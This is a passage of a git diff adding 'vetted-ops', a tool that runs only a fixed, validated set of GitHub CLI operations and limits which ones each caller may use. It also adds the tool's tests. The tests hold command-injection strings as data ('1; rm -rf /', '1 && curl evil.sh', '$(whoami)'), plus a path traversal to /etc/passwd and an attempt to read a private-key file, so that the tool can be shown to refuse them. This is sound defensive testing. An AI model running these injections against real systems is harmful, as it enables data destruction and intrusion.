ref") + + +def repo_path(value: str) -> str: + if ".." in value: + raise ParamError(f"path traversal in repo path: {value!r}") + return _check(_REPO_PATH, value, "repo path") + + +def login(value: str) -> str: + return _check(_LOGIN, value, "login") + + +def ghsa(value: str) -> str: + return _check(_GHSA, value, "GHSA id") + + +def node_id(value: str) -> str: + return _check(_NODE_ID, value, "node id") + + +def body_file(value: str, *, workspace: Path) -> str: + """ + Validate a path holding body text. + + Content is passed to ``gh`` by *file reference*, never interpolated, so the + body may contain anything at all — backticks, ``$(…)``, newlines, NUL-free + binary. What is constrained is *which* file may be read: it must resolve + inside the caller's declared workspace, so an operation cannot be talked into + publishing ``~/.ssh/id_rsa`` or a credential file. + """ + path = Path(value).expanduser().resolve() + root = workspace.expanduser().resolve() + if not path.is_file(): + raise ParamError(f"body file does not exist: {value!r}") + if root not in path.parents and path != root: + raise ParamError(f"body file must live under the workspace {str(root)!r}: {value!r}") + return str(path) + + +def enum(allowed: Sequence[str]) -> Callable[[str], str]: + """Build a validator accepting only one of ``allowed``.""" + permitted = tuple(allowed) + + def _validate(value: str) -> str: + if value not in permitted: + raise ParamError(f"value {value!r} is not one of the configured values: {list(permitted)}") + return value + + return _validate + + +# -------------------------------------------------------------------------- +# Operation catalogue +# -------------------------------------------------------------------------- + + +@dataclass(frozen=True) +class Op: + """One fixed operation.""" + + name: str + #: Parameter names, in positional order. + params: tuple[str, ...] + #: Builds the argv. Receives resolved config plus validated parameters. + build: Callable[..., list[str]] + #: True when the operation changes state visible outside the machine. + writes: bool = False + #: Human-readable one-liner for `list-ops`. + summary: str = "" + #: Parameters that must be one of a configured enum, mapped to the config key + #: holding the permitted values (e.g. "labels", "milestones"). + enums: dict[str, str] = field(default_factory=dict) + #: Parameters holding a path to body content. + body_files: tuple[str, ...] = () + + +def _tracker(cfg: dict[str, str]) -> str: + return cfg["tracker_repo"] + + +def _upstream(cfg: dict[str, str]) -> str: + return cfg["upstream_repo"] + + +# ---- reads ---------------------------------------------------------------- + +OPS: dict[str, Op] = {} + + +def _register(op: Op) -> None: + OPS[op.name] = op + + +_register( + Op( + name="issue-view", + params=("number",), + summary="Read one tracker issue as JSON.", + build=lambda cfg, number: [ + "gh", + "issue", + "view", + number, + "--repo", + _tracker(cfg), + "--json", + "number,title,state,body,labels,milestone,assignees,author,url,createdAt,closedAt", + ], + ) +) + +_register( + Op( + name="issue-list", + params=("state",), + summary="List tracker issues in a given state.", + enums={"state": "issue_states"}, + build=lambda cfg, state: [ + "gh", + "issue", + "list", + "--repo", + _tracker(cfg), + "--state", + state, + "--limit", + "1000", + "--json", + "number,title,state,labels,milestone,assignees,updatedAt,closedAt", + ], + ) +) + +_register( + Op( + name="issue-comments", + params=("number",), + summary="Read every comment on one tracker issue.", + build=lambda cfg, number: [ + "gh", + "api", + f"repos/{_tracker(cfg)}/issues/{number}/comments", + "--paginate", + ], + ) +) + +_register( + Op( + name="label-list", + params=(), + summary="List the tracker's labels.", + build=lambda cfg: [ + "gh", + "label", + "list", + "--repo", + _tracker(cfg), + "--limit", + "200", + "--json", + "name", + ], + ) +) + +_register( + Op( + name="milestone-list", + params=(), + summary="List the tracker's milestones.", + build=lambda cfg: ["gh", "api", f"repos/{_tracker(cfg)}/milestones", "--paginate"], + ) +) + +_register( + Op( + name="collaborators", + params=(), + summary="List tracker collaborators (the security-team roster).", + build=lambda cfg: [ + "gh", + "api", + f"repos/{_tracker(cfg)}/collaborators", + "--paginate", + "--jq", + ".[].login", + ], + ) +) + +_register( + Op( + name="pr-view", + params=("number",), + summary="Read one upstream PR as JSON.", + build=lambda cfg, number: [ + "gh", + "pr", + "view", + number, + "--repo", + _upstream(cfg), + "--json", + "number,title,state,isDraft,mergedAt,mergeCommit,baseRefName,headRefName," + "author,url,files,labels,milestone,reviewDecision,mergeable,mergeStateStatus", + ], + ) +) + +_register( + Op( + name="pr-checks", + params=("number",), + summary="Read the CI rollup for one upstream PR.", + build=lambda cfg, number: [ + "gh", + "pr", + "view", + number, + "--repo", + _upstream(cfg), + "--json", + "statusCheckRollup", + ], + ) +) + +_register( + Op( + name="repo-file", + params=("path", "ref"), + summary="Fetch one upstream file at a ref (the content probe).", + build=lambda cfg, path, ref: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/contents/{path}", + "-F", + f"ref={ref}", + "--jq", + ".content", + ], + ) +) + +_register( + Op( + name="compare", + params=("base", "head"), + summary="Compare two upstream refs (ancestry check).", + build=lambda cfg, base, head: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/compare/{base}...{head}", + "--jq", + ".status", + ], + ) +) + +_register( + Op( + name="tags", + params=("prefix",), + summary="List upstream tags under a prefix (release detection).", + build=lambda cfg, prefix: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/git/matching-refs/tags/{prefix}", + "--jq", + ".[].ref", + ], + ) +) + +_register( + Op( + name="advisory-view", + params=("ghsa",), + summary="Read one upstream GitHub Security Advisory.", + build=lambda cfg, ghsa: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/security-advisories/{ghsa}", + ], + ) +) + +# ---- writes --------------------------------------------------------------- + +_register( + Op( + name="issue-add-label", + params=("number", "label"), + writes=True, + summary="Add one configured label to a tracker issue.", + enums={"label": "labels"}, + build=lambda cfg, number, label: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--add-label", + label, + ], + ) +) + +_register( + Op( + name="issue-remove-label", + params=("number", "label"), + writes=True, + summary="Remove one configured label from a tracker issue.", + enums={"label": "labels"}, + build=lambda cfg, number, label: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--remove-label", + label, + ], + ) +) + +_register( + Op( + name="issue-set-milestone", + params=("number", "milestone"), + writes=True, + summary="Assign a configured milestone to a tracker issue.", + enums={"milestone": "milestones"}, + build=lambda cfg, number, milestone: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--milestone", + milestone, + ], + ) +) + +_register( + Op( + name="issue-add-assignee", + params=("number", "login"), + writes=True, + summary="Assign a tracker issue to a roster member.", + enums={"login": "assignees"}, + build=lambda cfg, number, login: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--add-assignee", + login, + ], + ) +) + +_register( + Op( + name="issue-comment", + params=("number", "body"), + writes=True, + summary="Post a comment on a tracker issue from a body file.", + body_files=("body",), + build=lambda cfg, number, body: [ + "gh", + "issue", + "comment", + number, + "--repo", + _tracker(cfg), + "--body-file", + body, + ], + ) +) + +_register( + Op( + name="issue-close", + params=("number", "reason"), + writes=True, + summary="Close a tracker issue with a configured reason.", + enums={"reason": "close_reasons"}, + build=lambda cfg, number, reason: [ + "gh", + "issue", + "close", + number, + "--repo", + _tracker(cfg), + "--reason", + reason, + ], + ) +) + +_register( + Op( + name="comment-update", + params=("comment_id", "body"), + writes=True, + summary="Rewrite one existing tracker comment (the rollup upsert).", + body_files=("body",), + build=lambda cfg, comment_id, body: [ + "gh", + "api", + "-X", + "PATCH", + f"repos/{_tracker(cfg)}/issues/comments/{comment_id}", + "-F", + f"body=@{body}", + ], + ) +) + +_register( + Op( + name="board-set-status", + params=("item_id", "column"), + writes=True, + summary="Move a project-board item to a configured column.", + enums={"column": "board_columns"}, + build=lambda cfg, item_id, column: [ + "gh", + "api", + "graphql", + "-F", + f"project={cfg['board_project_id']}", + "-F", + f"item={item_id}", + "-F", + f"field={cfg['board_status_field_id']}", + "-F", + f"option={cfg['board_columns'][column]}", + "-f", + "query=mutation($project:ID!,$item:ID!,$field:ID!,$option:String!)" + "{updateProjectV2ItemFieldValue(input:{projectId:$project,itemId:$item," + "fieldId:$field,value:{singleSelectOptionId:$option}}){projectV2Item{id}}}", + ], + ) +) + + +def resolve(name: str) -> Op: + try: + return OPS[name] + except KeyError: + raise ParamError(f"unknown operation: {name!r}") from None diff --git a/tools/vetted-ops/tests/test_vetted_ops.py b/tools/vetted-ops/tests/test_vetted_ops.py new file mode 100644 index 00000000..0e793ba8 --- /dev/null +++ b/tools/vetted-ops/tests/test_vetted_ops.py @@ -0,0 +1,239 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +from __future__ import annotations + +from pathlib import Path + +import pytest + +from vetted_ops import cli, config, ops + +CONFIG_TOML = """ +workspace = "{workspace}" + +[repos] +tracker = "acme/tracker" +upstream = "acme/product" + +[values] +labels = ["needs triage", "cve allocated"] +milestones = ["1.2.3"] +assignees = ["alice"] +issue_states = ["open", "closed", "all"] +close_reasons = ["completed", "not planned"] +board_project_id = "PVT_proj" +board_status_field_id = "PVTSSF_field" + +[values.board_columns] +"Assessed" = "opt_assessed" + +[callers] +"security-issue-sync" = ["issue-view", "issue-add-label", "issue-comment", "issue-close"] +"security-issue-triage" = ["issue-view"] +""" + + +@pytest.fixture() +def policy(tmp_path: Path) -> config.Config: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + return config.load(cfg_path) + + +def run(argv: list[str], cfg_path: Path) -> int: + return cli.main([*argv, "--config", str(cfg_path)]) + + +# --- the catalogue is closed ------------------------------------------------- + + +def test_every_op_declares_validators_for_all_its_params() -> None: + """A parameter with no validator would fall through unchecked.""" + known = {"number", "comment_id", "ref", "base", "head", "prefix", "path", "login", "ghsa", "item_id"} + for op in ops.OPS.values(): + for param in op.params: + assert param in known or param in op.enums or param in op.body_files, ( + f"{op.name}: parameter {param!r} has no validator" + ) + + +def test_every_builder_produces_a_gh_argv(policy: config.Config) -> None: + """No operation may invoke anything other than gh.""" + sample = { + "number": "1", + "comment_id": "1", + "ref": "main", + "base": "main", + "head": "v1", + "prefix": "v1", + "path": "a/b.py", + "login": "alice", + "ghsa": "GHSA-aaaa-bbbb-cccc", + "item_id": "PVTI_abc", + "label": "needs triage", + "milestone": "1.2.3", + "state": "open", + "reason": "completed", + "column": "Assessed", + "body": "unused", + } + body = policy.workspace / "body.md" + body.write_text("x") + for op in ops.OPS.values(): + params = {p: (str(body) if p in op.body_files else sample[p]) for p in op.params} + argv = op.build(policy.as_mapping(), **params) + assert argv[0] == "gh", op.name + assert all(isinstance(a, str) for a in argv), op.name + + +# --- parameters can never become commands ------------------------------------ + + +@pytest.mark.parametrize( + "hostile", + [ + "1; rm -rf /", + "1 && curl evil.sh", + "$(whoami)", + "`id`", + "1\nrm -rf /", + "../../etc/passwd", + "1|tee /tmp/x", + ], +) +def test_hostile_numbers_are_refused(policy: config.Config, hostile: str) -> None: + with pytest.raises(ops.ParamError): + ops.number(hostile) + + +def test_parameters_may_not_start_with_a_dash(policy: config.Config) -> None: + """Blocks flag injection — e.g. sneaking --body or --repo into gh.""" + op = ops.resolve("issue-view") + with pytest.raises(ops.ParamError, match="may not start with"): + cli._validate_params(op, ["--repo"], policy) + + +def test_label_must_be_one_of_the_configured_values(policy: config.Config) -> None: + op = ops.resolve("issue-add-label") + with pytest.raises(ops.ParamError, match="not one of the configured values"): + cli._validate_params(op, ["7", "arbitrary-label"], policy) + + +def test_configured_label_is_accepted(policy: config.Config) -> None: + op = ops.resolve("issue-add-label") + params = cli._validate_params(op, ["7", "cve allocated"], policy) + argv = cli.build_argv(op, params, policy) + assert argv == [ + "gh", + "issue", + "edit", + "7", + "--repo", + "acme/tracker", + "--add-label", + "cve allocated", + ] + + +# --- body files: content is free, location is not ---------------------------- + + +def test_body_file_outside_the_workspace_is_refused(policy: config.Config, tmp_path: Path) -> None: + secret = tmp_path / "id_rsa" + secret.write_text("PRIVATE KEY") + op = ops.resolve("issue-comment") + with pytest.raises(ops.ParamError, match="must live under the workspace"): + cli._validate_params(op, ["7", str(secret)], policy) + + +def test_body_file_content_may_contain_anything(policy: config.Config) -> None: + """The body is passed by reference, so shell metacharacters are just text.""" + body = policy.workspace / "note.md" + body.write_text("`id` $(whoami) && rm -rf / ; drop table\n") + op = ops.resolve("issue-comment") + params = cli._validate_params(op, ["7", str(body)], policy) + argv = cli.build_argv(op, params, policy) + assert argv[-2:] == ["--body-file", str(body.resolve())] + + +# --- per-caller scoping ------------------------------------------------------ + + +def test_caller_may_not_run_an_operation_outside_its_manifest( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "security-issue-triage", "issue-close", "7", "completed"], cfg_path) + assert rc == cli.EXIT_POLICY + assert "not permitted to run" in capsys.readouterr().err + + +def test_unknown_caller_is_refused(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "not-a-skill", "issue-view", "7"], cfg_path) + assert rc == cli.EXIT_POLICY + assert "not declared in the config" in capsys.readouterr().err + + +def test_permitted_caller_reaches_dry_run(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "security-issue-sync", "issue-view", "7", "--dry-run"], cfg_path) + assert rc == cli.EXIT_OK + assert "gh issue view 7 --repo acme/tracker" in capsys.readouterr().out + + +def test_caller_is_required(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["issue-view", "7"], cfg_path) + assert rc == cli.EXIT_USAGE + assert "--caller is required" in capsys.readouterr().err + + +# --- the repo is policy, not a parameter ------------------------------------- + + +def test_repo_cannot_be_influenced_by_a_parameter(policy: config.Config) -> None: + op = ops.resolve("issue-view") + params = cli._validate_params(op, ["7"], policy) + argv = cli.build_argv(op, params, policy) + assert argv[argv.index("--repo") + 1] == "acme/tracker" + + +def test_config_rejects_a_malformed_repo(tmp_path: Path) -> None: + cfg_path = tmp_path / "bad.toml" + cfg_path.write_text('workspace = "."\n[repos]\ntracker = "not a repo"\nupstream = "a/b"\n') + with pytest.raises(config.ConfigError, match="owner/name"): + config.load(cfg_path) diff --git a/uv.lock b/uv.lock index 0a350713..1a0086d6 100644 --- a/uv.lock +++ b/uv.lock @@ -47,6 +47,7 @@ members = [ "spec-validator", "symlink-lint", "vendor-neutrality-score", + "vetted-ops", "vulnogram-api", ] @@ -1898,6 +1899,21 @@ dev = [ [package.metadata.requires-dev] dev = [{ name = "magpie-dev", editable = "tools/dev" }] +[[package]] +name = "vetted-ops" +version = "0.1.0" +source = { editable = "tools/vetted-ops" } + +[package.dev-dependencies] +dev = [ + { name = "magpie-dev" }, +] + +[package.metadata] + +[package.metadata.requires-dev] +dev = [{ name = "magpie-dev", editable = "tools/dev" }] + [[package]] name = "vulnogram-api" version = "0.1.0"